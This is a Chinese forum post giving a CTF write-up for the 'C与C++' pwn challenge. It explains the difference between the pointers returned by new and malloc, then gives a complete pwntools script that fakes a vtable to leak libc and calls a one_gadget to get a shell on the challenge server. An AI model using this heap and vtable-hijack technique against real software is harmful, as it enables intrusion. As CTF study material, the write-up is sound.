首页
社区
课程
招聘
[原创]C与C++ WriteUp from W8C.Cossack人人
发表于: 2019-3-13 00:31 2833

[原创]C与C++ WriteUp from W8C.Cossack人人

2019-3-13 00:31
2833

operator new()malloc()返回的指针相对堆头偏移不同。在本题中new object返回的指针指向了单位区块的vtable(chunk_head+0x18),而malloc返回的指针则直接指向了区块的divsize(chunk_head+0x10)。而delete object是通过调用vtable中的二级函数指针来实现,至此,思路已然清晰。

from pwn import *
from time import sleep
import sys

context.arch = 'amd64'
status     = sys.argv[1]
elf     = ELF("./candcpp")
libc     = ELF("./libc-2.23.so")
host     = "154.8.222.144"
port     = 9999
main    = 0x4009a0
fmtleak = 0x400e10
vtable    = 0x401228
name    = 0x602328

if status == 'l':
    io = process("./candcpp")
elif status == 'r':
    io = remote(host,port)
else:
    info("INVALID STATUS")
    exit()

def choice(c):
    sleep(0.1)
    io.sendlineafter(">> ",str(c))
def malloc(size,string):
    choice(1)
    io.sendlineafter("Please input length of the string\n",str(size))
    io.sendafter("Please input the string\n",string)
def new(size,string):
    choice(3)
    io.sendlineafter("Please input length of the string\n",str(size))
    io.sendafter("Please input the string\n",string)
def free(index):
    choice(2)
    io.sendlineafter("Please input index of the string\n",str(index))
def delete(index):
    choice(4)
    io.sendlineafter("Please input index of the string\n",str(index))
def put(index):
    choice(5)
    io.sendlineafter("Please input index of the string\n",str(index))

io.sendafter("Please input your name: ",p64(fmtleak)+p64(main)[:-1]+'\n')
malloc(15,p64(1)+p64(name)[:-2]+'\n')
new(0x200,'AAAAAAAAAAAAAAAA'*27+'AAA'+p64(name+8)+'AAAAAAA'+p64(name)+'\n')
delete(0)
io.recvuntil('0x')
libc_base = int(io.recv(12),16)-libc.sym['_IO_puts']
success("LIBC BASE -> %#x"%libc_base)

one = libc_base+0xf02a4
io.sendafter("Please input your name: ",p64(one)+p64(main)[:-1]+'\n')
delete(0)

io.interactive()
  • 程序 NO PIE,故可以通过name(0x602328)来布置二级函数指针。
  • name填充为&fmtleak(0x400e10)与&main(0x4009a0)
  • malloc得到chunk0,这时候企图通过delete chunk0来执行name中的函数,于是再new出chunk1,在指定偏移处布置好&name+8与&name
  • delete chunk0 成功泄露出&__IO_puts,得到libc基址,并且进入main函数,可以再次填充name
  • name填充为one_gadget,调用delete,成功getshell
  • 唯一的坑就是这个单位区块组成的对象不方便填充(算'A'个数算skr人)
  • 程序 NO PIE,故可以通过name(0x602328)来布置二级函数指针。

  • [招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

    最后于 2019-3-26 00:29 被Cossack人人编辑 ,原因:
    收藏
    免费 1
    支持
    分享
    最新回复 (0)
    游客
    登录 | 注册 方可回帖
    返回
    //